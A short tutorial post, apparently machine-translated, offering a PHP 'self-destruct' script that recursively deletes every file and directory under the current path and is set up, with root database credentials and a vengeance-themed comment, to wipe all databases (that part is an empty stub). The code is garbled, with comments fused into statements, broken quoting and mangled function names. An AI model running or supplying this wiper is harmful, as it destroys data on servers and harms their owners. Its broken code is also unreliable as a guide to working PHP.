This example describes the PHP self-destruct program. Share to everyone for your reference. The implementation method is as follows:
<?php//+----------------------------------------------------------------------//|
kill!! // | The program will clear all files, directories//| If you set up database information, try to delete all the database and table data (if you have enough permissions!). )//+----------------------------------------------------------------------//| Version: $Id $//+----------------------------------------------------------------------//----------
Database Configuration area-----------------//The Power of vengeance is terrible, so do not need to specify the database, delete all!
Define (' Db_user ', ' root ');
Define (' Db_pwd ', ' root ');
Define (' db_host ', ' localhost ');
Define (' Db_port ', ' 3216 '); Define (' Db_damage ', true);
False, do not touch database run ();
/** * Subject thought must be glorious and great!
* * @return void **/function Run () {//delete file Deletedir ();
Delete database Deletedb (); /** * hehe, delete all files in the current directory (recursive) * * @return void **/function deletedir ($dir = ') {if ($dir = = ') {$dir = Realpath ('.
');
Echo $dir;
Exit ();
if (!handle= @opendir ($dir)) {//Detect die ("no directory") to open the directory; A while (false!== ($file =readdir ($handle))) {if ($file!==.) && $file!== "...") {//Exclude the current directory from the parent directory $file = $dir. DIRECtory_separator.
$file;
if (Is_dir ($file)) {Deletedir ($file); }else{if (@unlink ($file)) {echo file <b> $file </b> Delete succeeded.
<br> ";
}else{echo "File <b> $file </b> delete failed!<br>"; }} if (@rmdir ($dir)) {echo directory <b> $dir </b> Delete succeeded.
<br>\n "; }else{echo "Directory <b> $dir </b> Delete failed!
<br>\n ";
}/** * Oh oh, delete database * * @return void **/function Deletedb () {if (Db_damage = = True) {//start}}
I hope this article will help you with your PHP programming.